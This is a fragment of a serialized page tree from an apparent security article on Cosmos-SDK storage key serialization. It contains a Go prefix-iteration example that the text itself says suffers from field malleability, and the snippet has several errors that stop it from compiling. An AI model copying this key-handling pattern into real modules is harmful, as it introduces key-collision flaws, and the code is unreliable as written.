4,"props":87270,"children":87271},{"class":316,"line":23091},[87272,87276,87280],{"type":23,"tag":314,"props":87273,"children":87274},{"style":338},[87275],{"type":28,"value":85707},{"type":23,"tag":314,"props":87277,"children":87278},{"style":2674},[87279],{"type":28,"value":84017},{"type":23,"tag":314,"props":87281,"children":87282},{"style":338},[87283],{"type":28,"value":1870},{"type":23,"tag":314,"props":87285,"children":87286},{"class":316,"line":23104},[87287,87291,87295,87299,87303,87307,87311,87315],{"type":23,"tag":314,"props":87288,"children":87289},{"style":360},[87290],{"type":28,"value":85723},{"type":23,"tag":314,"props":87292,"children":87293},{"style":338},[87294],{"type":28,"value":282},{"type":23,"tag":314,"props":87296,"children":87297},{"style":332},[87298],{"type":28,"value":84853},{"type":23,"tag":314,"props":87300,"children":87301},{"style":338},[87302],{"type":28,"value":341},{"type":23,"tag":314,"props":87304,"children":87305},{"style":332},[87306],{"type":28,"value":8389},{"type":23,"tag":314,"props":87308,"children":87309},{"style":338},[87310],{"type":28,"value":341},{"type":23,"tag":314,"props":87312,"children":87313},{"style":360},[87314],{"type":28,"value":86093},{"type":23,"tag":314,"props":87316,"children":87317},{"style":338},[87318],{"type":28,"value":84874},{"type":23,"tag":314,"props":87320,"children":87321},{"class":316,"line":23158},[87322],{"type":23,"tag":314,"props":87323,"children":87324},{"style":338},[87325],{"type":28,"value":23164},{"type":23,"tag":314,"props":87327,"children":87328},{"class":316,"line":23167},[87329,87333,87337,87341,87345,87349,87353,87357],{"type":23,"tag":314,"props":87330,"children":87331},{"style":360},[87332],{"type":28,"value":84844},{"type":23,"tag":314,"props":87334,"children":87335},{"style":338},[87336],{"type":28,"value":282},{"type":23,"tag":314,"props":87338,"children":87339},{"style":332},[87340],{"type":28,"value":84898},{"type":23,"tag":314,"props":87342,"children":87343},{"style":338},[87344],{"type":28,"value":341},{"type":23,"tag":314,"props":87346,"children":87347},{"style":360},[87348],{"type":28,"value":86343},{"type":23,"tag":314,"props":87350,"children":87351},{"style":338},[87352],{"type":28,"value":778},{"type":23,"tag":314,"props":87354,"children":87355},{"style":360},[87356],{"type":28,"value":86093},{"type":23,"tag":314,"props":87358,"children":87359},{"style":338},[87360],{"type":28,"value":2414},{"type":23,"tag":314,"props":87362,"children":87363},{"class":316,"line":31528},[87364],{"type":23,"tag":314,"props":87365,"children":87366},{"emptyLinePlaceholder":18},[87367],{"type":28,"value":1088},{"type":23,"tag":314,"props":87369,"children":87370},{"class":316,"line":31549},[87371,87375,87379,87383,87387,87391],{"type":23,"tag":314,"props":87372,"children":87373},{"style":360},[87374],{"type":28,"value":85927},{"type":23,"tag":314,"props":87376,"children":87377},{"style":354},[87378],{"type":28,"value":75669},{"type":23,"tag":314,"props":87380,"children":87381},{"style":360},[87382],{"type":28,"value":81486},{"type":23,"tag":314,"props":87384,"children":87385},{"style":338},[87386],{"type":28,"value":282},{"type":23,"tag":314,"props":87388,"children":87389},{"style":332},[87390],{"type":28,"value":84475},{"type":23,"tag":314,"props":87392,"children":87393},{"style":338},[87394],{"type":28,"value":2719},{"type":23,"tag":314,"props":87396,"children":87397},{"class":316,"line":80203},[87398,87402],{"type":23,"tag":314,"props":87399,"children":87400},{"style":1245},[87401],{"type":28,"value":86952},{"type":23,"tag":314,"props":87403,"children":87404},{"style":338},[87405],{"type":28,"value":1870},{"type":23,"tag":314,"props":87407,"children":87408},{"class":316,"line":80216},[87409,87414],{"type":23,"tag":314,"props":87410,"children":87411},{"style":360},[87412],{"type":28,"value":87413}," AddressMapPrefix",{"type":23,"tag":314,"props":87415,"children":87416},{"style":338},[87417],{"type":28,"value":1870},{"type":23,"tag":314,"props":87419,"children":87420},{"class":316,"line":80224},[87421,87425],{"type":23,"tag":314,"props":87422,"children":87423},{"style":360},[87424],{"type":28,"value":85967},{"type":23,"tag":314,"props":87426,"children":87427},{"style":338},[87428],{"type":28,"value":1870},{"type":23,"tag":314,"props":87430,"children":87431},{"class":316,"line":80232},[87432,87436],{"type":23,"tag":314,"props":87433,"children":87434},{"style":360},[87435],{"type":28,"value":85979},{"type":23,"tag":314,"props":87437,"children":87438},{"style":338},[87439],{"type":28,"value":1870},{"type":23,"tag":314,"props":87441,"children":87442},{"class":316,"line":80240},[87443,87447],{"type":23,"tag":314,"props":87444,"children":87445},{"style":360},[87446],{"type":28,"value":85991},{"type":23,"tag":314,"props":87448,"children":87449},{"style":338},[87450],{"type":28,"value":1870},{"type":23,"tag":314,"props":87452,"children":87453},{"class":316,"line":80280},[87454,87458],{"type":23,"tag":314,"props":87455,"children":87456},{"style":360},[87457],{"type":28,"value":85979},{"type":23,"tag":314,"props":87459,"children":87460},{"style":338},[87461],{"type":28,"value":1870},{"type":23,"tag":314,"props":87463,"children":87464},{"class":316,"line":80288},[87465,87469],{"type":23,"tag":314,"props":87466,"children":87467},{"style":360},[87468],{"type":28,"value":86452},{"type":23,"tag":314,"props":87470,"children":87471},{"style":338},[87472],{"type":28,"value":1870},{"type":23,"tag":314,"props":87474,"children":87476},{"class":316,"line":87475},60,[87477],{"type":23,"tag":314,"props":87478,"children":87479},{"style":338},[87480],{"type":28,"value":23164},{"type":23,"tag":314,"props":87482,"children":87484},{"class":316,"line":87483},61,[87485],{"type":23,"tag":314,"props":87486,"children":87487},{"style":338},[87488],{"type":28,"value":386},{"type":23,"tag":24,"props":87490,"children":87491},{},[87492],{"type":28,"value":87493},"We now have a proper example of how to serialize storage keys.",{"type":23,"tag":24,"props":87495,"children":87496},{},[87497,87499,87504],{"type":28,"value":87498},"Nonetheless, there is more to storage than just this. As previously mentioned, storages are expected to support their original functionalities. In the case of ",{"type":23,"tag":94,"props":87500,"children":87502},{"className":87501},[],[87503],{"type":28,"value":66355},{"type":28,"value":87505},", data should still be retrievable through original keys.",{"type":23,"tag":24,"props":87507,"children":87508},{},[87509,87511,87517,87519,87524],{"type":28,"value":87510},"Let's look at a case where we want to retrieve all ",{"type":23,"tag":94,"props":87512,"children":87514},{"className":87513},[],[87515],{"type":28,"value":87516},"map[Username]map[PositionName]Position",{"type":28,"value":87518}," associated with a ",{"type":23,"tag":94,"props":87520,"children":87522},{"className":87521},[],[87523],{"type":28,"value":84387},{"type":28,"value":87525}," from the storage. How can we safely accomplish this?",{"type":23,"tag":24,"props":87527,"children":87528},{},[87529,87531,87536,87538,87544],{"type":28,"value":87530},"Fortunately, the Cosmos-SDK provides APIs to fetch all entries associated with a ",{"type":23,"tag":94,"props":87532,"children":87534},{"className":87533},[],[87535],{"type":28,"value":84458},{"type":28,"value":87537}," prefix. Below is an example of an attempt to fetch data with ",{"type":23,"tag":94,"props":87539,"children":87541},{"className":87540},[],[87542],{"type":28,"value":87543},"vaultId",{"type":28,"value":3746},{"type":23,"tag":304,"props":87546,"children":87548},{"code":87547,"language":75417,"meta":7,"className":75418,"style":7},"func FetchPositionMapWithVaultId(\n vaultId uint64,\n) ([]map[Username]map[PositionName]Position) {\n values := map[Username]map[PositionName]Position{}\n i := sdk.KVStorePrefixIterator(\n kvStore,\n fmt.Sprintf(\"%s%d\", PositionMapPrefix, vaultId)\n )\n for ; i.Valid(); i.Next() {\n k := strings.split(i.Key(), Seperator)\n\n username := make([]byte, hex.DecodedLen(k[0]))\n _, err := hex.Decode(username, k[0])\n if err != nil {\n return nil, err\n }\n\n positionName := make([]byte, hex.DecodedLen(k[1]))\n _, err := hex.Decode(positionName, k[1])\n if err != nil {\n return nil, err\n }\n\n if entry, ok := values[username]; !ok {\n values[username] = make(map[PositionName])\n }\n\n values[username][positionName] = Position {\n data: iterator.Value(),\n }\n }\n return values\n}\n",[87549],{"type":23,"tag":94,"props":87550,"children":87551},{"__ignoreMap":7},[87552,87568,87583,87632,87684,87713,87725,87771,87778,87824,87879,87886,87950,88011,88034,88053,88060,88067,88127,88186,88209,88228,88235,88242,88295,88343,88350,88357,88397,88426,88433,88440,88452],{"type":23,"tag":314,"props":87553,"children":87554},{"class":316,"line":317},[87555,87559,87564],{"type":23,"tag":314,"props":87556,"children":87557},{"style":321},[87558],{"type":28,"value":75553},{"type":23,"tag":314,"props":87560,"children":87561},{"style":332},[87562],{"type":28,"value":87563}," FetchPositionMapWithVaultId",{"type":23,"tag":314,"props":87565,"children":87566},{"style":338},[87567],{"type":28,"value":2719},{"type":23,"tag":314,"props":87569,"children":87570},{"class":316,"line":370},[87571,87575,87579],{"type":23,"tag":314,"props":87572,"children":87573},{"style":360},[87574],{"type":28,"value":84499},{"type":23,"tag":314,"props":87576,"children":87577},{"style":2674},[87578],{"type":28,"value":75674},{"type":23,"tag":314,"props":87580,"children":87581},{"style":338},[87582],{"type":28,"value":1870},{"type":23,"tag":314,"props":87584,"children":87585},{"class":316,"line":380},[87586,87591,87595,87599,87603,87607,87611,87615,87619,87623,87628],{"type":23,"tag":314,"props":87587,"children":87588},{"style":338},[87589],{"type":28,"value":87590},") ([]",{"type":23,"tag":314,"props":87592,"children":87593},{"style":321},[87594],{"type":28,"value":66355},{"type":23,"tag":314,"props":87596,"children":87597},{"style":338},[87598],{"type":28,"value":1312},{"type":23,"tag":314,"props":87600,"children":87601},{"style":2674},[87602],{"type":28,"value":84404},{"type":23,"tag":314,"props":87604,"children":87605},{"style":338},[87606],{"type":28,"value":14653},{"type":23,"tag":314,"props":87608,"children":87609},{"style":321},[87610],{"type":28,"value":66355},{"type":23,"tag":314,"props":87612,"children":87613},{"style":338},[87614],{"type":28,"value":1312},{"type":23,"tag":314,"props":87616,"children":87617},{"style":2674},[87618],{"type":28,"value":84421},{"type":23,"tag":314,"props":87620,"children":87621},{"style":338},[87622],{"type":28,"value":14653},{"type":23,"tag":314,"props":87624,"children":87625},{"style":2674},[87626],{"type":28,"value":87627},"Position",{"type":23,"tag":314,"props":87629,"children":87630},{"style":338},[87631],{"type":28,"value":367},{"type":23,"tag":314,"props":87633,"children":87634},{"class":316,"line":1091},[87635,87640,87644,87648,87652,87656,87660,87664,87668,87672,87676,87680],{"type":23,"tag":314,"props":87636,"children":87637},{"style":360},[87638],{"type":28,"value":87639}," values",{"type":23,"tag":314,"props":87641,"children":87642},{"style":354},[87643],{"type":28,"value":75669},{"type":23,"tag":314,"props":87645,"children":87646},{"style":321},[87647],{"type":28,"value":48919},{"type":23,"tag":314,"props":87649,"children":87650},{"style":338},[87651],{"type":28,"value":1312},{"type":23,"tag":314,"props":87653,"children":87654},{"style":2674},[87655],{"type":28,"value":84404},{"type":23,"tag":314,"props":87657,"children":87658},{"style":338},[87659],{"type":28,"value":14653},{"type":23,"tag":314,"props":87661,"children":87662},{"style":321},[87663],{"type":28,"value":66355},{"type":23,"tag":314,"props":87665,"children":87666},{"style":338},[87667],{"type":28,"value":1312},{"type":23,"tag":314,"props":87669,"children":87670},{"style":2674},[87671],{"type":28,"value":84421},{"type":23,"tag":314,"props":87673,"children":87674},{"style":338},[87675],{"type":28,"value":14653},{"type":23,"tag":314,"props":87677,"children":87678},{"style":2674},[87679],{"type":28,"value":87627},{"type":23,"tag":314,"props":87681,"children":87682},{"style":338},[87683],{"type":28,"value":77349},{"type":23,"tag":314,"props":87685,"children":87686},{"class":316,"line":1141},[87687,87692,87696,87700,87704,87709],{"type":23,"tag":314,"props":87688,"children":87689},{"style":360},[87690],{"type":28,"value":87691}," i",{"type":23,"tag":314,"props":87693,"children":87694},{"style":354},[87695],{"type":28,"value":75669},{"type":23,"tag":314,"props":87697,"children":87698},{"style":360},[87699],{"type":28,"value":77893},{"type":23,"tag":314,"props":87701,"children":87702},{"style":338},[87703],{"type":28,"value":282},{"type":23,"tag":314,"props":87705,"children":87706},{"style":332},[87707],{"type":28,"value":87708},"KVStorePrefixIterator",{"type":23,"tag":314,"props":87710,"children":87711},{"style":338},[87712],{"type":28,"value":2719},{"type":23,"tag":314,"props":87714,"children":87715},{"class":316,"line":1173},[87716,87721],{"type":23,"tag":314,"props":87717,"children":87718},{"style":360},[87719],{"type":28,"value":87720}," kvStore",{"type":23,"tag":314,"props":87722,"children":87723},{"style":338},[87724],{"type":28,"value":1870},{"type":23,"tag":314,"props":87726,"children":87727},{"class":316,"line":1208},[87728,87733,87737,87741,87745,87750,87754,87759,87763,87767],{"type":23,"tag":314,"props":87729,"children":87730},{"style":360},[87731],{"type":28,"value":87732}," fmt",{"type":23,"tag":314,"props":87734,"children":87735},{"style":338},[87736],{"type":28,"value":282},{"type":23,"tag":314,"props":87738,"children":87739},{"style":332},[87740],{"type":28,"value":84475},{"type":23,"tag":314,"props":87742,"children":87743},{"style":338},[87744],{"type":28,"value":341},{"type":23,"tag":314,"props":87746,"children":87747},{"style":1245},[87748],{"type":28,"value":87749},"\"%s%d\"",{"type":23,"tag":314,"props":87751,"children":87752},{"style":338},[87753],{"type":28,"value":778},{"type":23,"tag":314,"props":87755,"children":87756},{"style":360},[87757],{"type":28,"value":87758},"PositionMapPrefix",{"type":23,"tag":314,"props":87760,"children":87761},{"style":338},[87762],{"type":28,"value":778},{"type":23,"tag":314,"props":87764,"children":87765},{"style":360},[87766],{"type":28,"value":87543},{"type":23,"tag":314,"props":87768,"children":87769},{"style":338},[87770],{"type":28,"value":2414},{"type":23,"tag":314,"props":87772,"children":87773},{"class":316,"line":1216},[87774],{"type":23,"tag":314,"props":87775,"children":87776},{"style":338},[87777],{"type":28,"value":23164},{"type":23,"tag":314,"props":87779,"children":87780},{"class":316,"line":1301},[87781,87785,87790,87794,87798,87803,87807,87811,87815,87820],{"type":23,"tag":314,"props":87782,"children":87783},{"style":2284},[87784],{"type":28,"value":2287},{"type":23,"tag":314,"props":87786,"children":87787},{"style":338},[87788],{"type":28,"value":87789}," ; ",{"type":23,"tag":314,"props":87791,"children":87792},{"style":360},[87793],{"type":28,"value":2993},{"type":23,"tag":314,"props":87795,"children":87796},{"style":338},[87797],{"type":28,"value":282},{"type":23,"tag":314,"props":87799,"children":87800},{"style":332},[87801],{"type":28,"value":87802},"Valid",{"type":23,"tag":314,"props":87804,"children":87805},{"style":338},[87806],{"type":28,"value":27695},{"type":23,"tag":314,"props":87808,"children":87809},{"style":360},[87810],{"type":28,"value":2993},{"type":23,"tag":314,"props":87812,"children":87813},{"style":338},[87814],{"type":28,"value":282},{"type":23,"tag":314,"props":87816,"children":87817},{"style":332},[87818],{"type":28,"value":87819},"Next",{"type":23,"tag":314,"props":87821,"children":87822},{"style":338},[87823],{"type":28,"value":14977},{"type":23,"tag":314,"props":87825,"children":87826},{"class":316,"line":1343},[87827,87832,87836,87841,87845,87849,87853,87857,87861,87866,87870,87875],{"type":23,"tag":314,"props":87828,"children":87829},{"style":360},[87830],{"type":28,"value":87831}," k",{"type":23,"tag":314,"props":87833,"children":87834},{"style":354},[87835],{"type":28,"value":75669},{"type":23,"tag":314,"props":87837,"children":87838},{"style":360},[87839],{"type":28,"value":87840}," strings",{"type":23,"tag":314,"props":87842,"children":87843},{"style":338},[87844],{"type":28,"value":282},{"type":23,"tag":314,"props":87846,"children":87847},{"style":332},[87848],{"type":28,"value":69295},{"type":23,"tag":314,"props":87850,"children":87851},{"style":338},[87852],{"type":28,"value":341},{"type":23,"tag":314,"props":87854,"children":87855},{"style":360},[87856],{"type":28,"value":2993},{"type":23,"tag":314,"props":87858,"children":87859},{"style":338},[87860],{"type":28,"value":282},{"type":23,"tag":314,"props":87862,"children":87863},{"style":332},[87864],{"type":28,"value":87865},"Key",{"type":23,"tag":314,"props":87867,"children":87868},{"style":338},[87869],{"type":28,"value":17613},{"type":23,"tag":314,"props":87871,"children":87872},{"style":360},[87873],{"type":28,"value":87874},"Seperator",{"type":23,"tag":314,"props":87876,"children":87877},{"style":338},[87878],{"type":28,"value":2414},{"type":23,"tag":314,"props":87880,"children":87881},{"class":316,"line":1351},[87882],{"type":23,"tag":314,"props":87883,"children":87884},{"emptyLinePlaceholder":18},[87885],{"type":28,"value":1088},{"type":23,"tag":314,"props":87887,"children":87888},{"class":316,"line":1387},[87889,87894,87898,87902,87907,87911,87915,87919,87923,87928,87932,87937,87941,87945],{"type":23,"tag":314,"props":87890,"children":87891},{"style":360},[87892],{"type":28,"value":87893}," username",{"type":23,"tag":314,"props":87895,"children":87896},{"style":354},[87897],{"type":28,"value":75669},{"type":23,"tag":314,"props":87899,"children":87900},{"style":332},[87901],{"type":28,"value":84816},{"type":23,"tag":314,"props":87903,"children":87904},{"style":338},[87905],{"type":28,"value":87906},"([]",{"type":23,"tag":314,"props":87908,"children":87909},{"style":2674},[87910],{"type":28,"value":84017},{"type":23,"tag":314,"props":87912,"children":87913},{"style":338},[87914],{"type":28,"value":778},{"type":23,"tag":314,"props":87916,"children":87917},{"style":360},[87918],{"type":28,"value":84889},{"type":23,"tag":314,"props":87920,"children":87921},{"style":338},[87922],{"type":28,"value":282},{"type":23,"tag":314,"props":87924,"children":87925},{"style":332},[87926],{"type":28,"value":87927},"DecodedLen",{"type":23,"tag":314,"props":87929,"children":87930},{"style":338},[87931],{"type":28,"value":341},{"type":23,"tag":314,"props":87933,"children":87934},{"style":360},[87935],{"type":28,"value":87936},"k",{"type":23,"tag":314,"props":87938,"children":87939},{"style":338},[87940],{"type":28,"value":1312},{"type":23,"tag":314,"props":87942,"children":87943},{"style":1054},[87944],{"type":28,"value":1600},{"type":23,"tag":314,"props":87946,"children":87947},{"style":338},[87948],{"type":28,"value":87949},"]))\n",{"type":23,"tag":314,"props":87951,"children":87952},{"class":316,"line":1422},[87953,87957,87961,87965,87969,87974,87978,87983,87987,87991,87995,87999,88003,88007],{"type":23,"tag":314,"props":87954,"children":87955},{"style":360},[87956],{"type":28,"value":26994},{"type":23,"tag":314,"props":87958,"children":87959},{"style":338},[87960],{"type":28,"value":778},{"type":23,"tag":314,"props":87962,"children":87963},{"style":360},[87964],{"type":28,"value":47670},{"type":23,"tag":314,"props":87966,"children":87967},{"style":354},[87968],{"type":28,"value":75669},{"type":23,"tag":314,"props":87970,"children":87971},{"style":360},[87972],{"type":28,"value":87973}," hex",{"type":23,"tag":314,"props":87975,"children":87976},{"style":338},[87977],{"type":28,"value":282},{"type":23,"tag":314,"props":87979,"children":87980},{"style":332},[87981],{"type":28,"value":87982},"Decode",{"type":23,"tag":314,"props":87984,"children":87985},{"style":338},[87986],{"type":28,"value":341},{"type":23,"tag":314,"props":87988,"children":87989},{"style":360},[87990],{"type":28,"value":84723},{"type":23,"tag":314,"props":87992,"children":87993},{"style":338},[87994],{"type":28,"value":778},{"type":23,"tag":314,"props":87996,"children":87997},{"style":360},[87998],{"type":28,"value":87936},{"type":23,"tag":314,"props":88000,"children":88001},{"style":338},[88002],{"type":28,"value":1312},{"type":23,"tag":314,"props":88004,"children":88005},{"style":1054},[88006],{"type":28,"value":1600},{"type":23,"tag":314,"props":88008,"children":88009},{"style":338},[88010],{"type":28,"value":54691},{"type":23,"tag":314,"props":88012,"children":88013},{"class":316,"line":1430},[88014,88018,88022,88026,88030],{"type":23,"tag":314,"props":88015,"children":88016},{"style":2284},[88017],{"type":28,"value":2527},{"type":23,"tag":314,"props":88019,"children":88020},{"style":360},[88021],{"type":28,"value":47771},{"type":23,"tag":314,"props":88023,"children":88024},{"style":354},[88025],{"type":28,"value":63639},{"type":23,"tag":314,"props":88027,"children":88028},{"style":321},[88029],{"type":28,"value":81170},{"type":23,"tag":314,"props":88031,"children":88032},{"style":338},[88033],{"type":28,"value":1449},{"type":23,"tag":314,"props":88035,"children":88036},{"class":316,"line":1452},[88037,88041,88045,88049],{"type":23,"tag":314,"props":88038,"children":88039},{"style":2284},[88040],{"type":28,"value":78328},{"type":23,"tag":314,"props":88042,"children":88043},{"style":321},[88044],{"type":28,"value":81170},{"type":23,"tag":314,"props":88046,"children":88047},{"style":338},[88048],{"type":28,"value":778},{"type":23,"tag":314,"props":88050,"children":88051},{"style":360},[88052],{"type":28,"value":82891},{"type":23,"tag":314,"props":88054,"children":88055},{"class":316,"line":1497},[88056],{"type":23,"tag":314,"props":88057,"children":88058},{"style":338},[88059],{"type":28,"value":2602},{"type":23,"tag":314,"props":88061,"children":88062},{"class":316,"line":1539},[88063],{"type":23,"tag":314,"props":88064,"children":88065},{"emptyLinePlaceholder":18},[88066],{"type":28,"value":1088},{"type":23,"tag":314,"props":88068,"children":88069},{"class":316,"line":1548},[88070,88075,88079,88083,88087,88091,88095,88099,88103,88107,88111,88115,88119,88123],{"type":23,"tag":314,"props":88071,"children":88072},{"style":360},[88073],{"type":28,"value":88074}," positionName",{"type":23,"tag":314,"props":88076,"children":88077},{"style":354},[88078],{"type":28,"value":75669},{"type":23,"tag":314,"props":88080,"children":88081},{"style":332},[88082],{"type":28,"value":84816},{"type":23,"tag":314,"props":88084,"children":88085},{"style":338},[88086],{"type":28,"value":87906},{"type":23,"tag":314,"props":88088,"children":88089},{"style":2674},[88090],{"type":28,"value":84017},{"type":23,"tag":314,"props":88092,"children":88093},{"style":338},[88094],{"type":28,"value":778},{"type":23,"tag":314,"props":88096,"children":88097},{"style":360},[88098],{"type":28,"value":84889},{"type":23,"tag":314,"props":88100,"children":88101},{"style":338},[88102],{"type":28,"value":282},{"type":23,"tag":314,"props":88104,"children":88105},{"style":332},[88106],{"type":28,"value":87927},{"type":23,"tag":314,"props":88108,"children":88109},{"style":338},[88110],{"type":28,"value":341},{"type":23,"tag":314,"props":88112,"children":88113},{"style":360},[88114],{"type":28,"value":87936},{"type":23,"tag":314,"props":88116,"children":88117},{"style":338},[88118],{"type":28,"value":1312},{"type":23,"tag":314,"props":88120,"children":88121},{"style":1054},[88122],{"type":28,"value":3267},{"type":23,"tag":314,"props":88124,"children":88125},{"style":338},[88126],{"type":28,"value":87949},{"type":23,"tag":314,"props":88128,"children":88129},{"class":316,"line":1584},[88130,88134,88138,88142,88146,88150,88154,88158,88162,88166,88170,88174,88178,88182],{"type":23,"tag":314,"props":88131,"children":88132},{"style":360},[88133],{"type":28,"value":26994},{"type":23,"tag":314,"props":88135,"children":88136},{"style":338},[88137],{"type":28,"value":778},{"type":23,"tag":314,"props":88139,"children":88140},{"style":360},[88141],{"type":28,"value":47670},{"type":23,"tag":314,"props":88143,"children":88144},{"style":354},[88145],{"type":28,"value":75669},{"type":23,"tag":314,"props":88147,"children":88148},{"style":360},[88149],{"type":28,"value":87973},{"type":23,"tag":314,"props":88151,"children":88152},{"style":338},[88153],{"type":28,"value":282},{"type":23,"tag":314,"props":88155,"children":88156},{"style":332},[88157],{"type":28,"value":87982},{"type":23,"tag":314,"props":88159,"children":88160},{"style":338},[88161],{"type":28,"value":341},{"type":23,"tag":314,"props":88163,"children":88164},{"style":360},[88165],{"type":28,"value":84992},{"type":23,"tag":314,"props":88167,"children":88168},{"style":338},[88169],{"type":28,"value":778},{"type":23,"tag":314,"props":88171,"children":88172},{"style":360},[88173],{"type":28,"value":87936},{"type":23,"tag":314,"props":88175,"children":88176},{"style":338},[88177],{"type":28,"value":1312},{"type":23,"tag":314,"props":88179,"children":88180},{"style":1054},[88181],{"type":28,"value":3267},{"type":23,"tag":314,"props":88183,"children":88184},{"style":338},[88185],{"type":28,"value":54691},{"type":23,"tag":314,"props":88187,"children":88188},{"class":316,"line":1617},[88189,88193,88197,88201,88205],{"type":23,"tag":314,"props":88190,"children":88191},{"style":2284},[88192],{"type":28,"value":2527},{"type":23,"tag":314,"props":88194,"children":88195},{"style":360},[88196],{"type":28,"value":47771},{"type":23,"tag":314,"props":88198,"children":88199},{"style":354},[88200],{"type":28,"value":63639},{"type":23,"tag":314,"props":88202,"children":88203},{"style":321},[88204],{"type":28,"value":81170},{"type":23,"tag":314,"props":88206,"children":88207},{"style":338},[88208],{"type":28,"value":1449},{"type":23,"tag":314,"props":88210,"children":88211},{"class":316,"line":1625},[88212,88216,88220,88224],{"type":23,"tag":314,"props":88213,"children":88214},{"style":2284},[88215],{"type":28,"value":78328},{"type":23,"tag":314,"props":88217,"children":88218},{"style":321},[88219],{"type":28,"value":81170},{"type":23,"tag":314,"props":88221,"children":88222},{"style":338},[88223],{"type":28,"value":778},{"type":23,"tag":314,"props":88225,"children":88226},{"style":360},[88227],{"type":28,"value":82891},{"type":23,"tag":314,"props":88229,"children":88230},{"class":316,"line":1660},[88231],{"type":23,"tag":314,"props":88232,"children":88233},{"style":338},[88234],{"type":28,"value":2602},{"type":23,"tag":314,"props":88236,"children":88237},{"class":316,"line":1708},[88238],{"type":23,"tag":314,"props":88239,"children":88240},{"emptyLinePlaceholder":18},[88241],{"type":28,"value":1088},{"type":23,"tag":314,"props":88243,"children":88244},{"class":316,"line":1743},[88245,88249,88253,88257,88261,88265,88270,88274,88278,88283,88287,88291],{"type":23,"tag":314,"props":88246,"children":88247},{"style":2284},[88248],{"type":28,"value":2527},{"type":23,"tag":314,"props":88250,"children":88251},{"style":360},[88252],{"type":28,"value":61894},{"type":23,"tag":314,"props":88254,"children":88255},{"style":338},[88256],{"type":28,"value":778},{"type":23,"tag":314,"props":88258,"children":88259},{"style":360},[88260],{"type":28,"value":78019},{"type":23,"tag":314,"props":88262,"children":88263},{"style":354},[88264],{"type":28,"value":75669},{"type":23,"tag":314,"props":88266,"children":88267},{"style":360},[88268],{"type":28,"value":88269}," values",{"type":23,"tag":314,"props":88271,"children":88272},{"style":338},[88273],{"type":28,"value":1312},{"type":23,"tag":314,"props":88275,"children":88276},{"style":360},[88277],{"type":28,"value":84723},{"type":23,"tag":314,"props":88279,"children":88280},{"style":338},[88281],{"type":28,"value":88282},"]; ",{"type":23,"tag":314,"props":88284,"children":88285},{"style":354},[88286],{"type":28,"value":19859},{"type":23,"tag":314,"props":88288,"children":88289},{"style":360},[88290],{"type":28,"value":78019},{"type":23,"tag":314,"props":88292,"children":88293},{"style":338},[88294],{"type":28,"value":1449},{"type":23,"tag":314,"props":88296,"children":88297},{"class":316,"line":1751},[88298,88303,88307,88311,88315,88319,88323,88327,88331,88335,88339],{"type":23,"tag":314,"props":88299,"children":88300},{"style":360},[88301],{"type":28,"value":88302}," values",{"type":23,"tag":314,"props":88304,"children":88305},{"style":338},[88306],{"type":28,"value":1312},{"type":23,"tag":314,"props":88308,"children":88309},{"style":360},[88310],{"type":28,"value":84723},{"type":23,"tag":314,"props":88312,"children":88313},{"style":338},[88314],{"type":28,"value":1322},{"type":23,"tag":314,"props":88316,"children":88317},{"style":354},[88318],{"type":28,"value":1102},{"type":23,"tag":314,"props":88320,"children":88321},{"style":332},[88322],{"type":28,"value":84816},{"type":23,"tag":314,"props":88324,"children":88325},{"style":338},[88326],{"type":28,"value":341},{"type":23,"tag":314,"props":88328,"children":88329},{"style":321},[88330],{"type":28,"value":66355},{"type":23,"tag":314,"props":88332,"children":88333},{"style":338},[88334],{"type":28,"value":1312},{"type":23,"tag":314,"props":88336,"children":88337},{"style":2674},[88338],{"type":28,"value":84421},{"type":23,"tag":314,"props":88340,"children":88341},{"style":338},[88342],{"type":28,"value":54691},{"type":23,"tag":314,"props":88344,"children":88345},{"class":316,"line":1791},[88346],{"type":23,"tag":314,"props":88347,"children":88348},{"style":338},[88349],{"type":28,"value":2602},{"type":23,"tag":314,"props":88351,"children":88352},{"class":316,"line":1805},[88353],{"type":23,"tag":314,"props":88354,"children":88355},{"emptyLinePlaceholder":18},[88356],{"type":28,"value":1088},{"type":23,"tag":314,"props":88358,"children":88359},{"class":316,"line":1818},[88360,88365,88369,88373,88377,88381,88385,88389,88393],{"type":23,"tag":314,"props":88361,"children":88362},{"style":360},[88363],{"type":28,"value":88364}," values",{"type":23,"tag":314,"props":88366,"children":88367},{"style":338},[88368],{"type":28,"value":1312},{"type":23,"tag":314,"props":88370,"children":88371},{"style":360},[88372],{"type":28,"value":84723},{"type":23,"tag":314,"props":88374,"children":88375},{"style":338},[88376],{"type":28,"value":48208},{"type":23,"tag":314,"props":88378,"children":88379},{"style":360},[88380],{"type":28,"value":84992},{"type":23,"tag":314,"props":88382,"children":88383},{"style":338},[88384],{"type":28,"value":1322},{"type":23,"tag":314,"props":88386,"children":88387},{"style":354},[88388],{"type":28,"value":1102},{"type":23,"tag":314,"props":88390,"children":88391},{"style":360},[88392],{"type":28,"value":6680},{"type":23,"tag":314,"props":88394,"children":88395},{"style":338},[88396],{"type":28,"value":1449},{"type":23,"tag":314,"props":88398,"children":88399},{"class":316,"line":1873},[88400,88404,88408,88413,88417,88422],{"type":23,"tag":314,"props":88401,"children":88402},{"style":360},[88403],{"type":28,"value":26197},{"type":23,"tag":314,"props":88405,"children":88406},{"style":338},[88407],{"type":28,"value":14573},{"type":23,"tag":314,"props":88409,"children":88410},{"style":360},[88411],{"type":28,"value":88412},"iterator",{"type":23,"tag":314,"props":88414,"children":88415},{"style":338},[88416],{"type":28,"value":282},{"type":23,"tag":314,"props":88418,"children":88419},{"style":332},[88420],{"type":28,"value":88421},"Value",{"type":23,"tag":314,"props":88423,"children":88424},{"style":338},[88425],{"type":28,"value":2747},{"type":23,"tag":314,"props":88427,"children":88428},{"class":316,"line":1891},[88429],{"type":23,"tag":314,"props":88430,"children":88431},{"style":338},[88432],{"type":28,"value":2602},{"type":23,"tag":314,"props":88434,"children":88435},{"class":316,"line":1899},[88436],{"type":23,"tag":314,"props":88437,"children":88438},{"style":338},[88439],{"type":28,"value":2610},{"type":23,"tag":314,"props":88441,"children":88442},{"class":316,"line":1944},[88443,88447],{"type":23,"tag":314,"props":88444,"children":88445},{"style":2284},[88446],{"type":28,"value":16228},{"type":23,"tag":314,"props":88448,"children":88449},{"style":360},[88450],{"type":28,"value":88451}," values\n",{"type":23,"tag":314,"props":88453,"children":88454},{"class":316,"line":2008},[88455],{"type":23,"tag":314,"props":88456,"children":88457},{"style":338},[88458],{"type":28,"value":386},{"type":23,"tag":24,"props":88460,"children":88461},{},[88462,88464,88470,88471,88477,88479,88484,88486,88491,88493,88498,88500,88506,88508,88514],{"type":28,"value":88463},"By now, you may have already noticed that this implementation suffers from field malleability issues. 